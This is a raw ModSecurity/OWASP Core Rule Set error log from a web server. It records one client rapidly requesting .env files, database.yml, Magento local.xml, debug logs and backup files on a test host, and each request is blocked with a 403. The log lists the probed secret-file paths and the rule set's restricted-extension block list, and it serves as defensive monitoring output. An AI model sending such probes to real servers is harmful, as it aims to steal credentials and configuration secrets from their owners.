[Sun Nov 30 15:24:55.231655 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.bak&quot;] [unique_id &quot;aSxTty6tRBnriPIR7Vg5cAAAAAw&quot;]
[Sun Nov 30 15:24:55.456193 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aSxTty6tRBnriPIR7Vg5cQAAAAw&quot;]
[Sun Nov 30 15:24:55.456549 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aSxTty6tRBnriPIR7Vg5cQAAAAw&quot;]
[Sun Nov 30 15:24:55.456769 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aSxTty6tRBnriPIR7Vg5cQAAAAw&quot;]
[Sun Nov 30 15:24:55.910977 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aSxTty6tRBnriPIR7Vg5cwAAAAw&quot;]
[Sun Nov 30 15:24:55.911203 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aSxTty6tRBnriPIR7Vg5cwAAAAw&quot;]
[Sun Nov 30 15:24:55.912377 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aSxTty6tRBnriPIR7Vg5cwAAAAw&quot;]
[Sun Nov 30 15:24:56.365841 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/app/etc/local.xml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /app/etc/local.xml found within REQUEST_FILENAME: /app/etc/local.xml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml&quot;] [unique_id &quot;aSxTuC6tRBnriPIR7Vg5dQAAAAw&quot;]
[Sun Nov 30 15:24:56.366063 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml&quot;] [unique_id &quot;aSxTuC6tRBnriPIR7Vg5dQAAAAw&quot;]
[Sun Nov 30 15:24:56.366268 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml&quot;] [unique_id &quot;aSxTuC6tRBnriPIR7Vg5dQAAAAw&quot;]
[Sun Nov 30 15:24:56.820121 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aSxTuC6tRBnriPIR7Vg5dwAAAAw&quot;]
[Sun Nov 30 15:24:56.820331 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aSxTuC6tRBnriPIR7Vg5dwAAAAw&quot;]
[Sun Nov 30 15:24:56.820529 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aSxTuC6tRBnriPIR7Vg5dwAAAAw&quot;]
[Sun Nov 30 15:24:57.056414 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aSxTuS6tRBnriPIR7Vg5eAAAAAw&quot;]
[Sun Nov 30 15:24:57.056647 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aSxTuS6tRBnriPIR7Vg5eAAAAAw&quot;]
[Sun Nov 30 15:24:57.056864 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aSxTuS6tRBnriPIR7Vg5eAAAAAw&quot;]
[Sun Nov 30 15:24:57.522267 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.backup&quot;] [unique_id &quot;aSxTuS6tRBnriPIR7Vg5egAAAAw&quot;]
[Sun Nov 30 15:24:57.522654 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.backup&quot;] [unique_id &quot;aSxTuS6tRBnriPIR7Vg5egAAAAw&quot;]
[Sun Nov 30 15:24:57.522863 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.backup&quot;] [unique_id &quot;aSxTuS6tRBnriPIR7Vg5egAAAAw&quot;]
[Sun Nov 30 15:24:57.975155 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.save&quot;] [unique_id &quot;aSxTuS6tRBnriPIR7Vg5fAAAAAw&quot;]
[Sun Nov 30 15:24:57.975379 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.save&quot;] [unique_id &quot;aSxTuS6tRBnriPIR7Vg5fAAAAAw&quot;]
[Sun Nov 30 15:24:57.975595 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.save&quot;] [unique_id &quot;aSxTuS6tRBnriPIR7Vg5fAAAAAw&quot;]
[Sun Nov 30 15:24:58.203315 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.save&quot;] [unique_id &quot;aSxTui6tRBnriPIR7Vg5fQAAAAw&quot;]
[Sun Nov 30 15:24:58.203562 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.save&quot;] [unique_id &quot;aSxTui6tRBnriPIR7Vg5fQAAAAw&quot;]
[Sun Nov 30 15:24:58.203800 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.save&quot;] [unique_id &quot;aSxTui6tRBnriPIR7Vg5fQAAAAw&quot;]
[Sun Nov 30 15:24:58.882899 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.bak&quot;] [unique_id &quot;aSxTui6tRBnriPIR7Vg5gAAAAAw&quot;]
[Sun Nov 30 15:24:58.883061 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.bak&quot;] [unique_id &quot;aSxTui6tRBnriPIR7Vg5gAAAAAw&quot;]
[Sun Nov 30 15:24:58.883287 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.bak&quot;] [unique_id &quot;aSxTui6tRBnriPIR7Vg5gAAAAAw&quot;]
[Sun Nov 30 15:24:58.883576 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.bak&quot;] [unique_id &quot;aSxTui6tRBnriPIR7Vg5gAAAAAw&quot;]
[Sun Nov 30 15:24:59.108811 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aSxTuy6tRBnriPIR7Vg5gQAAAAw&quot;]
[Sun Nov 30 15:24:59.109025 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aSxTuy6tRBnriPIR7Vg5gQAAAAw&quot;]
